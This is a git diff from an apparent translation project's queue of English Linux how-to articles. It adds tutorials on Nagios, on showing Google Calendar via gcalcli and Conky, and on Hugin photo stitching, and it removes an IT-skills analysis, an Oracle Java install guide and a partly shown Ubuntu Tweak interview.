|
||||
|
||||
Finally, we are ready to start the Nagios service. A dry run is recommended to find out errors in configuration.
|
||||
|
||||
[root@mrtg ~]# nagios –v /etc/nagios/nagios.cfg
|
||||
[root@mrtg ~]# service nagios restart
|
||||
[root@mrtg ~]# chkconfig nagios on
|
||||
|
||||
### Access Nagios after Configuration ###
|
||||
|
||||
Now you are ready to use Nagios. Nagios can be accessed by opening the URL http://IP/nagios3 in case of Ubuntu/Debian or http://IP/nagios in case of CentOS/RHEL e.g. http://172.17.1.23/nagios3. The user "nagiosadmin" needs to be authenticated to access the page.
|
||||
|
||||
[][9]
|
||||
|
||||
When Nagios is not running the way it is supposed to, the first thing to do would be to initiate a dry run.
|
||||
|
||||
On Debian or Ubuntu:
|
||||
|
||||
# nagios3 -v /etc/nagios3/nagios.cfg
|
||||
|
||||
On CentOS or RHEL:
|
||||
|
||||
# nagios -v /etc/nagios/nagios.cfg
|
||||
|
||||
The log file may also shed some important clue. The path to the log file is located at /var/log/nagios/nagios.log.
|
||||
|
||||
Hope this helps.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/12/install-configure-nagios-linux.html
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.nagios.org/
|
||||
[2]:http://www.centreon.com/
|
||||
[3]:http://www.fullyautomatednagios.org/
|
||||
[4]:http://www.op5.com/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/11198373625/
|
||||
[6]:http://www.flickr.com/photos/xmodulo/11198394746/
|
||||
[7]:http://www.flickr.com/photos/xmodulo/11198378964/
|
||||
[8]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html
|
||||
[9]:http://www.flickr.com/photos/xmodulo/11198394806/
|
||||
204
sources/How to integrate Google Calendar in Linux desktop.md
Normal file
204
sources/How to integrate Google Calendar in Linux desktop.md
Normal file
@ -0,0 +1,204 @@
|
||||
How to integrate Google Calendar in Linux desktop
|
||||
================================================================================
|
||||
Google Calendar is one of the most popular web applications. One can access or sync Google Calendar across multiple devices either via web interface or with native apps. In Linux, there are several ways to access Google Calendar natively, such as by using email client plugins (e.g., Evolution or Thunderbird) or calendar apps (e.g., Sunbird or Rainlendar). These solutions, however, typically involve installing unnecessarily bulky software which you will probably not need.
|
||||
|
||||
If all you want is to access and get reminded by Google Calendar natively on Linux, then you can consider [Google Calendar command line interface (or gcalcli)][1], which is much more light-weight. Even better for Linux desktop, you can use gcalcli together with [Conky][2], to integrate Google Calendar into your desktop theme transparently.
|
||||
|
||||
In this tutorial, I will demonstrate **how to integrate Google Calendar into Linux desktop, by using gcalcli and Conky**.
|
||||
|
||||
### Install gcalcli on Linux ###
|
||||
|
||||
Before installing gcalcli, verify that you are using Python 2, as gcalcli is not compatible with Python 3.
|
||||
|
||||
To install gcalcli on Debian, Ubuntu or Linux Mint, use the following commands.
|
||||
|
||||
$ sudo apt-get install git python-pip python-gdata python-dateutil python-gflags python-vobject python-parsedatetime
|
||||
$ sudo pip install google-api-python-client
|
||||
$ sudo pip install apiclient urllib3
|
||||
$ git clone https://github.com/insanum/gcalcli.git
|
||||
$ cd gcalcli
|
||||
$ sudo python setup.py install
|
||||
|
||||
**Note**: gcalcli is included in the standard repository of Ubuntu or Linux mint. However, that version is not updated with the latest features and bug fixes. So I recommend building gcalcli from the source, as documented above.
|
||||
|
||||
To install gcalcli on Fedora, CentOS or RHEL, run the following.
|
||||
|
||||
$ sudo yum install git python-pip python-gdata python-dateutil python-gflags python-vobject
|
||||
$ sudo pip install google-api-python-client
|
||||
$ sudo pip install apiclient urllib3
|
||||
$ git clone https://github.com/insanum/gcalcli.git
|
||||
$ cd gcalcli
|
||||
$ sudo python setup.py install
|
||||
|
||||
### Google Authentication for gcalcli ###
|
||||
|
||||
To be able to access Google Calendar with gcalcli, you need to go through OAuth2 authention with your Google account, in order to grant gcalcli permission to access your Google Calendar.
|
||||
|
||||
The first time you run gcalcl, OAuth2 authentication will automatically be initiated. Thus run the following command to start.
|
||||
|
||||
$ gcalcli agenda
|
||||
|
||||
The command will print out a URL as shown below.
|
||||
|
||||
[][3]
|
||||
|
||||
At the same time, it will pop up a web browser window, and direct you to the URL. If a web browser window fails to open for any reason, you can copy and paste the URL into a web browser window manually.
|
||||
|
||||
If you are not logged in to your Google account, you will be asked to log in. After logging in, you will see the following message, asking you to allow gcalcl to manage your Google Calendar. Click on "Accept" button.
|
||||
|
||||
[][4]
|
||||
|
||||
Enable Google Calendar API
|
||||
|
||||
After authentication, the next step is to enable API access for Google Calendar. gcalcli accesses your Google Calendar via Google Calendar API. In order to use Google Calendar API, however, you need to explicitly enable the API under your Google account.
|
||||
|
||||
First go to: [https://cloud.google.com/console][5]. Click on "API Project" under project list.
|
||||
|
||||
Go to "APIs & auth" --> "APIs" to see a list of Google APIs. Click on toggle button for "Calendar API" to enable the API.
|
||||
|
||||
Now go to "APIs & auth" --> "Registered apps" to register gcalcli app. Click on "Register app" button on the top.
|
||||
|
||||
[][6]
|
||||
|
||||
Fill in the app name (e.g., "My Gcalcli"), and choose "Native" as a platform. Click on "Register" button to finalize.
|
||||
|
||||
This will create and show OAuth client ID and secret as follows. Make a note of this information. You can ignore the warning saying that "You have not set up your product name".
|
||||
|
||||
[][7]
|
||||
|
||||
The result of OAuth authentication will be saved in ~/.gcalcli_oauth text file.
|
||||
|
||||
### Access Google Calendar from the Command Line with gcalcli ###
|
||||
|
||||
You are almost ready to access Google Calendar with gcalcli.
|
||||
|
||||
Create a gcalcli configuration file in your home directory as follows. Put OAuth client ID and secret that you obtained before, in the following format.
|
||||
|
||||
$ vi ~/.gcalclirc
|
||||
|
||||
> --client_id='XXXXXXXXXX.apps.googleusercontent.com'
|
||||
> --client_secret='YYYYYYYYYYYYYYYY'
|
||||
|
||||
At this point, you should be able to run gcalcli from the command line.
|
||||
|
||||
Try the following two commands, which will print a list of your Google Calendars, and an agenda for the next 5 days, respectively.
|
||||
|
||||
$ gcalcli list
|
||||
$ gcalcli agenda
|
||||
|
||||
[][8]
|
||||
|
||||
### Integrate gcalcli with Conky ###
|
||||
|
||||
The final step is to integrate the output of gcalcli into your desktop theme. For that, you need Conky, which is a very powerful tool that can display a wide range of information directly on desktop theme.
|
||||
|
||||
First [install Conky][9] on your Linux system.
|
||||
|
||||
Then, create a following script somewhere in your home directory (e.g., ~/bin).
|
||||
|
||||
$ vi ~/bin/gcal.sh
|
||||
|
||||
> #!/bin/sh
|
||||
>
|
||||
> gcalcli --conky calw 2 |
|
||||
> sed -e 's/^[(0\x71^[(B/?/g' \
|
||||
> -e 's/^[(0\x78^[(B/?/g' \
|
||||
> -e 's/^[(0\x6A^[(B/?/g' \
|
||||
> -e 's/^[(0\x6B^[(B/?/g' \
|
||||
> -e 's/^[(0\x6C^[(B/?/g' \
|
||||
> -e 's/^[(0\x6D^[(B/?/g' \
|
||||
> -e 's/^[(0\x6E^[(B/?/g' \
|
||||
> -e 's/^[(0\x74^[(B/?/g' \
|
||||
> -e 's/^[(0\x75^[(B/?/g' \
|
||||
> -e 's/^[(0\x76^[(B/?/g' \
|
||||
> -e 's/^[(0\x77^[(B/?/g'
|
||||
|
||||
$ chmod +x ~/bin/gcal.sh
|
||||
|
||||
**Important Note**: '^[' in the above script must be the **actual ESCAPE key** (i.e. press Ctrl-V ESC in vi editor).
|
||||
|
||||
This script translates VT100 escape sequences to Unicode box drawing characters. This is a [needed workaround][10] because Conky does not support ASCII line art used by gcalcli.
|
||||
|
||||
Finally, create a Conky configuration file in your home directory as follows.
|
||||
|
||||
$ vi ~/.conkyrc
|
||||
|
||||
> alignment top_right
|
||||
> maximum_width 630
|
||||
> minimum_size 330 10
|
||||
> gap_x 25
|
||||
> gap_y 50
|
||||
>
|
||||
> own_window yes
|
||||
> own_window_type conky
|
||||
> own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
|
||||
> own_window_transparent yes
|
||||
> own_window_argb_visual yes
|
||||
> own_window_argb_value 0
|
||||
>
|
||||
> update_interval 300
|
||||
> background no
|
||||
>
|
||||
> border_width 1
|
||||
> default_color cornflowerblue
|
||||
> default_outline_color white
|
||||
> default_shade_color white
|
||||
> double_buffer no
|
||||
> draw_borders no
|
||||
> draw_graph_borders no
|
||||
> draw_outline no
|
||||
> draw_shades no
|
||||
> max_port_monitor_connections 64
|
||||
> max_specials 512
|
||||
> max_user_text 16384
|
||||
> text_buffer_size 8096
|
||||
> no_buffers yes
|
||||
> out_to_console no
|
||||
> uppercase no
|
||||
> use_xft yes
|
||||
> xftfont Bitstream Vera Sans Mono:size=10
|
||||
>
|
||||
> TEXT
|
||||
> *** Google Calendar Agenda ***
|
||||
> ${execpi 300 gcalcli --conky agenda}
|
||||
> ${execpi 300 ~/bin/gcal.sh}
|
||||
|
||||
This Conky configuration will display an agenda and two weeks' worth of schedules of your Google Calendar, directly in your desktop theme. The displayed info is updated every 5 minutes.
|
||||
|
||||
Now you can activate Conky by running the following.
|
||||
|
||||
$ conky
|
||||
|
||||
You should see Google Calendar in the right side of your Linux desktop as follows.
|
||||
|
||||
[][11]
|
||||
|
||||
Once you verify that Google Calendar shows up correctly, you can set Conky to auto-start every time you log in to your desktop.
|
||||
|
||||
### Set up Google Calendar Reminder ###
|
||||
|
||||
gcalcli can also send a reminder for any upcoming schedule in your Google Calendar. It uses notify-send command to send desktop notifications. For Google Calendar reminder, you can set up a cron job like the following.
|
||||
|
||||
$ crontab -l
|
||||
|
||||
> */10 * * * * /usr/local/bin/gcalcli remind
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/12/integrate-google-calendar-linux-desktop.html
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://github.com/insanum/gcalcli
|
||||
[2]:http://conky.sourceforge.net/
|
||||
[3]:http://www.flickr.com/photos/xmodulo/11216331146/
|
||||
[4]:http://www.flickr.com/photos/xmodulo/11216308465/
|
||||
[5]:https://cloud.google.com/console
|
||||
[6]:http://www.flickr.com/photos/xmodulo/11216363656/
|
||||
[7]:http://www.flickr.com/photos/xmodulo/11216593546/
|
||||
[8]:http://www.flickr.com/photos/xmodulo/11216465043/
|
||||
[9]:http://xmodulo.com/2013/12/install-configure-conky-linux.html
|
||||
[10]:https://github.com/insanum/gcalcli/issues/97
|
||||
[11]:http://www.flickr.com/photos/xmodulo/11216377436/
|
||||
103
sources/How to stitch photos together on Linux.md
Normal file
103
sources/How to stitch photos together on Linux.md
Normal file
@ -0,0 +1,103 @@
|
||||
How to stitch photos together on Linux
|
||||
================================================================================
|
||||
If you are an avid photographer, you will probably have several stunning panoramic photos in your portfolio. You don't have to be a professional photographer, nor need specialized equipment to create dramatic panoramic pictures. In fact, there are quite a few picture stitch apps (online or offline, desktop or mobile), which can easily create a panoramic view of a scene from two or more overlapping pictures.
|
||||
|
||||
In this tutorial, I will explain **how to stitch photos together on Linux**. For that, I am going to use panoramic photo stitching software called [Hugin][1].
|
||||
|
||||
Hugin is an open-source (GPLv2) free panorama photo stitching tool. It is available on multiple platforms including Linux, Windows, OS X, and FreeBSD. Being open-source freeware does not mean that Hugin won't match up to other commercial photo stitchers in terms of features and quality. On the contrary, Hugin is extremely powerful, capable of creating a 360-degree panoramic image, and featuring various advanced photometric corrections and optimizations.
|
||||
|
||||
### Install Hugin on Linux ###
|
||||
|
||||
To install Hugin on Debian, Ubuntu or Linux Mint:
|
||||
|
||||
$ sudo apt-get install hugin
|
||||
|
||||
To install Hugin on Fedora:
|
||||
|
||||
$ sudo yum install hugin
|
||||
|
||||
### Launch Hugin ###
|
||||
|
||||
Use hugin command to launch Hugin.
|
||||
|
||||
$ hugin
|
||||
|
||||
The first thing to do is to load photos that you want to stitch together. For that, click on "Load images" button, and load (two or more) pictures to join. It should be obvious, but individual pictures need to be overlapping with each other.
|
||||
|
||||
[][2]
|
||||
|
||||
### First Round of Photo Stitching ###
|
||||
|
||||
After loading pictures, click on "Align" button for the first round of stitching.
|
||||
|
||||
[][3]
|
||||
|
||||
Hugin will then run stitching assistant in a separate window, which analyzes common keypoints (or control points) between photos to combine the photos properly. After analysis is completed, you will see a panorama preview window, which will display panorama preview.
|
||||
|
||||
Switch back to the Hugin's main window. Under the "Align" button, you will see the status of photo stitching (i.e., number of control points, mean error). It will also say whether fit is good or bad.
|
||||
|
||||
[][4]
|
||||
|
||||
If it says "bad" or "really bad" fit, you can go ahead and fine-tune picture alignment as demonstrated below.
|
||||
|
||||
### Add or Remove Control Points ###
|
||||
|
||||
In the main Hugin window, go to "Control Points" tab. In this tab, Hugin shows which common control points are used to join multiple photos. It shows a pair of photos in left/right panels, and common key points between them are visualized with small boxes of the same color. You can remove any spurious points, or add new common points by hand. The more accurately matched points there are, the better quality stitching you will get. Also, if matched control points are well spread-out, they will be more helpful (than highly clustered control points).
|
||||
|
||||
[][5]
|
||||
|
||||
Using the left/right arrow buttons located at the top-center, find a pair of photos which have least common control points. Given such a pair, try adding more common points by hand as follows.
|
||||
|
||||
Click one spot on a left-side photo, and then click on the corresponding identical spot on a right-side photo. Hugin will try to fine-tune the match automatically. Click on "Add" button at the bottom to add the matched pair. Repeat this process to add additional common points.
|
||||
|
||||
[][6]
|
||||
|
||||
### Other Optimizations ###
|
||||
|
||||
You can also try re-optimization. Either click on "Re-optimize" button in the toolbar, or go to "Optimizer" tab to fine-tune the optimization.
|
||||
|
||||
[][5]
|
||||
|
||||
Go back to "Assistant" tab in the main Hugin window, and click on "Align" button again to see if you get a better result.
|
||||
|
||||
If the combined panoramic view has a wavy horizon, you can straighten out the horizon. For that, click on "Preview panorama" button in the toolbar.
|
||||
|
||||
[][6]
|
||||
|
||||
Then click on "Straighten" button in the Panorama preview window.
|
||||
|
||||
[][7]
|
||||
|
||||
Once you are satisfied with the stitch result, you can go ahead, and export it to an image file. For that, go to "Stitcher" tab in the Hugin's main window, and do the following.
|
||||
|
||||
Adjust canvas size, and amount of crop. Also, select output format (e.g., TIFF, JPEG, PNG). Finally, click on "Stitch!" button.
|
||||
|
||||
[][8]
|
||||
|
||||
You will be asked to save a current project file (*.pto), and then specify output file name for the stitched photo.
|
||||
|
||||
It will take a couple of seconds to finalize photo stitch.
|
||||
|
||||
Here is the output of my experiment with Hugin. This is a beautiful panoramic view of luxury beach front in Cancun, Mexico. :-)
|
||||
|
||||
[][9]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/12/stitch-photos-together-linux.html
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://hugin.sourceforge.net/
|
||||
[2]:http://www.flickr.com/photos/xmodulo/11230363115/
|
||||
[3]:http://www.flickr.com/photos/xmodulo/11230471403/
|
||||
[4]:http://www.flickr.com/photos/xmodulo/11230471243/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/11230392866/
|
||||
[6]:http://www.flickr.com/photos/xmodulo/11230376534/
|
||||
[7]:http://www.flickr.com/photos/xmodulo/11230470413/
|
||||
[8]:http://www.flickr.com/photos/xmodulo/11230361845/
|
||||
[9]:http://www.flickr.com/photos/xmodulo/11230470463/
|
||||
[10]:http://www.flickr.com/photos/xmodulo/11230376234/
|
||||
[11]:http://www.flickr.com/photos/xmodulo/11230423496/
|
||||
@ -1,62 +0,0 @@
|
||||
icybreaker translating
|
||||
Insights into top 3 IT skill groups in highest demand
|
||||
================================================================================
|
||||
|
||||
|
||||
According to our [IT skill sets][1] research, IT skills required by employers of Linux talent can be classified into relatively independent groups. This article focuses on the top three groups of IT skills that were in the highest demand in the last quarter (Jul-Sep 2013) and refer to job advertisements in selected countries, including USA. It turns out that these three groups of IT skills can be linked with Linux related job categories.
|
||||
|
||||
It seems that in the last quarter Embedded Devices Developers related skills were in the highest demand by employers of Linux professionals. The second and third skill groups refer to Virtualization Engineering and LAMP Administrator job opportunities, respectively. This article discusses skill requirements for these three types of job listings and provides insights into the dependency structure of pairs of IT skills within the analyzed three groups of skills.
|
||||
|
||||
> If you have not read our [IT Skill Sets][1] article it is recommended to familiarize yourself with this article before you start reading the content below. This article is based on the material presented previously in [IT Skill Sets][1], which explains in detail the methodology used in this study.
|
||||
|
||||
### October 2013 update to IT skills classification ###
|
||||
|
||||
|
||||
|
||||
In the IT skill sets article, LinuxCareer.com analyzed the Linux job listings for the period between May and the end of June 2013. We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com.
|
||||
|
||||
### Embedded Devices Developers and Programmers ###
|
||||
|
||||
The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph.
|
||||
|
||||
In general, this group of skills can be further split into three segments. These are:
|
||||
|
||||
1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the October’s IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions.
|
||||
1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively.
|
||||
1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code.
|
||||
|
||||
|
||||
|
||||
### Virtualization Engineers including skills related to data storage and management ###
|
||||
|
||||
The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMware’s cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient.
|
||||
|
||||
|
||||
|
||||
### LAMP Administrators ###
|
||||
|
||||
Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other.
|
||||
|
||||
|
||||
|
||||
### Conclusion ###
|
||||
|
||||
In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed.
|
||||
|
||||
### References ###
|
||||
|
||||
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
|
||||
|
||||
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.linuxcareer.com/it-skill-sets
|
||||
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
|
||||
[3]:http://www.r-project.org/
|
||||
@ -1,90 +0,0 @@
|
||||
(translating by whatever1992)
|
||||
Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA
|
||||
================================================================================
|
||||
**Question**: How can I install Oracle Java 7 in Elemetary OS Luna?
|
||||
|
||||
**Answer**: To install Java 7 in Elementary OS Luna follow the steps below:
|
||||
|
||||
Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** which has various Java packages in it.
|
||||
|
||||
1. Open Terminal.
|
||||
|
||||
2. Run the command below to add Java PPA to your repository:
|
||||
|
||||
$ sudo add-apt-repository ppa:webupd8team/java
|
||||
|
||||
You are about to add the following PPA to your system:
|
||||
Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html
|
||||
Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html
|
||||
More info: https://launchpad.net/~webupd8team/+archive/java
|
||||
Press [ENTER] to continue or ctrl-c to cancel adding it
|
||||
|
||||
3. Press ENTER to continue
|
||||
|
||||
gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created
|
||||
gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created
|
||||
gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com
|
||||
gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created
|
||||
gpg: key EEA14886: public key "Launchpad VLC" imported
|
||||
gpg: Total number processed: 1
|
||||
gpg: imported: 1 (RSA: 1)
|
||||
OK
|
||||
|
||||
4. Now update your system
|
||||
|
||||
$ sudo apt-get update
|
||||
|
||||
5. Install Java 7 by running the command below:
|
||||
|
||||
$ sudo apt-get install oracle-java7-installer
|
||||
|
||||
[sudo] password for enock:
|
||||
Reading package lists... Done
|
||||
Building dependency tree
|
||||
Reading state information... Done
|
||||
The following packages were automatically installed and are no longer required:
|
||||
gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4
|
||||
libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6
|
||||
rsync netpbm libgvc5 libnetpbm10 libgraph4
|
||||
Use 'apt-get autoremove' to remove them.
|
||||
The following extra packages will be installed:
|
||||
gsfonts-x11 java-common
|
||||
Suggested packages:
|
||||
default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts
|
||||
ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho
|
||||
ttf-sazanami-mincho ttf-arphic-uming
|
||||
The following NEW packages will be installed:
|
||||
gsfonts-x11 java-common oracle-java7-installer
|
||||
0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded.
|
||||
Need to get 88.5 kB of archives.
|
||||
After this operation, 473 kB of additional disk space will be used.
|
||||
Do you want to continue [Y/n]?
|
||||
|
||||
6. Type **Y** for Yes and Press enter to continue installation.
|
||||
|
||||
7. During the installation, you need to agree to the license to continue. Select **OK**.
|
||||
|
||||
|
||||
|
||||
8. Then Select **Yes** to continue.
|
||||
|
||||
|
||||
|
||||
9. Now relax for the packages to be downloaded and installed automatically:
|
||||
|
||||
|
||||
|
||||
7. Installation has been completed successfully. You can now check the version of Java from the Terminal:
|
||||
|
||||
$ java -version
|
||||
java version "1.7.0_45"
|
||||
Java(TM) SE Runtime Environment (build 1.7.0_45-b18)
|
||||
Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,93 +0,0 @@
|
||||
Interview with Ding Zhou of Ubuntu Tweak
|
||||
================================================================================
|
||||
[Ubuntu tweak][1] is a well known application which allows Ubuntu users to tweak various aspects of their system. The founder of the project, Ding Zhou aka Tualatrix Chou, is talking to us about the nature and the usability of Ubuntu Tweak, the relation with Canonical and the future plans of the project. Enjoy
|
||||
|
||||
**When did you start using linux and at what point did you decide to develop Ubuntu tweak?**
|
||||
|
||||
I started using Linux when I just started my college life at late 2006. I was learning C programming then, a friend recommended that Linux is a great platform to learn programming. So I started my Linux life from the Fedora Core 6. But after just one week I switched to Ubuntu 6.10, because Ubuntu had a better community in China , and also had very good and fast repositories/mirrors. I fall in love with Ubuntu immediately, and switched from Windows in just one week.
|
||||
|
||||
After half years’ both happy and hard time with Ubuntu, I realized that Ubuntu was not so friendly for Chinese people, because after a fresh installation, people had to config the font, input method and many others. So I decided to develop an application to help the newbies to easily config Ubuntu.
|
||||
|
||||
So at July 2007, I started to develop Ubuntu Tweak. At that point, only for Chinese people, but soon I made Ubuntu Tweak be an international application and released its first version at Sep 2007
|
||||
|
||||
**Ubuntu tweak is already a very successful project. Many Ubuntu users use it to tweak various aspects of their system. Tell us a few words about what Ubuntu Tweak can do.**
|
||||
|
||||
|
||||
|
||||
Ubuntu Tweak can be used to toggle the desktop icon display, set the fonts, enable/disable the user switch, logo.
|
||||
|
||||
In the latest version of Ubuntu Tweak (0.6), you can also use it to tweak your Unity desktop.ut and shutdown functions.
|
||||
|
||||
You can also use Ubuntu Tweak to cleanup system cruft to free space and make system clean.
|
||||
|
||||
**Canonical decides not to include Ubuntu Tweak in their distro by default. What does that mean? Is there some kind of risk for inexperienced users who want to tweak their system using your application?**
|
||||
|
||||
That’s right. Because in the previous version of Ubuntu Tweak, it provided a feature to enable the popular PPA, I wasn’t able to ensure all the PPA were safe, so Ubuntu Tweak had some security risks.
|
||||
|
||||
As you see, Source Center has been removed since 0.6. But please don’t mix the “include default by Ubuntu” and “put into the repository”, Ubuntu Tweak first should be put into the universal repository, then can be included by default in Ubuntu.
|
||||
|
||||
From the bug reports and user feedback, Ubuntu Tweak has became a lot more stable and easy to use than the old versions.
|
||||
|
||||
**What kind of support or collaboration (if any) you have from/with Canonical and the Ubuntu developers?**
|
||||
|
||||
Of course I received some help from the company, they helped me try to put Ubuntu Tweak into repository. It is still a work in progress.
|
||||
|
||||
I also received a lot of help from community, people help to translate, design, test and report bugs, and some of them even submitted patch for it.
|
||||
|
||||
**How many people are involved in the development of Ubuntu Tweak?**
|
||||
|
||||
If you say “programmer”, I’m the only one. But we have designers: the logo was designed by M.Sharp, Kevin Chou helped to design the mockup UI of Ubuntu Tweak, it became the 0.6. And currently Jeonkwan Chan are helping me polish the UI, it will become 0.7. Anyone can be involved in the development of Ubuntu Tweak, if they like :)
|
||||
|
||||
**When Unity came out on 11.04, a lot of Ubuntu users complained about the lack of configurability. What is your opinion on that, and what are the adaptability-configurability that this particular desktop environment can have?**
|
||||
|
||||
I’d like a desktop to have adaptability-configurability, that’s the advantage of Linux, isn’t it?
|
||||
|
||||
For example, I don’t like the auto-hide feature of Unity Launcher, so I set it to never hide.
|
||||
|
||||
Actually, Unity is configurable, the only thing that Unity is missing (through the ccsm) is that you can’t place Launcher to bottom or right – that’s maybe unfriendly for the left-handedness. Hah, just a joke.
|
||||
|
||||
As you can see, Ubuntu 12.04 has already added the hide/show toggle, Launcher size setting in system settings, I think Unity will be more configurable in the future.
|
||||
|
||||
**In general, do you think that the development of the Unity desktop environment was the right decision for Canonical? Was it something inevitable because of the problematic collaboration they had with the Gnome developers?**
|
||||
|
||||
Yes, I think it’s the right decision for Canonical. If you look back three years, when Ubuntu first introduced the Indicator for GNOME Panel, it was a better design than the original GNOME Panel applet. But there’s some problematic collaboration between Canonical and GNOME Developers, so it has never landed in GNOME, until in GNOME 3, the GNOME Shell itself removed the GNOME Panel, and the design of GNOME Shell panel is almost the same as that of the Indicator. If they could share the same API, the desktop Linux world would be better.
|
||||
|
||||
So, between the company, community and GNOME, the different opinions for user interface finally made the Unity desktop out.
|
||||
|
||||
I think it’s a good thing, at least I like Unity more than GNOME Shell right now.
|
||||
|
||||
**Although you are developing an Ubuntu specialized application, I suppose you are using another distro for more advanced users. What is your distro of choice and why?**
|
||||
|
||||
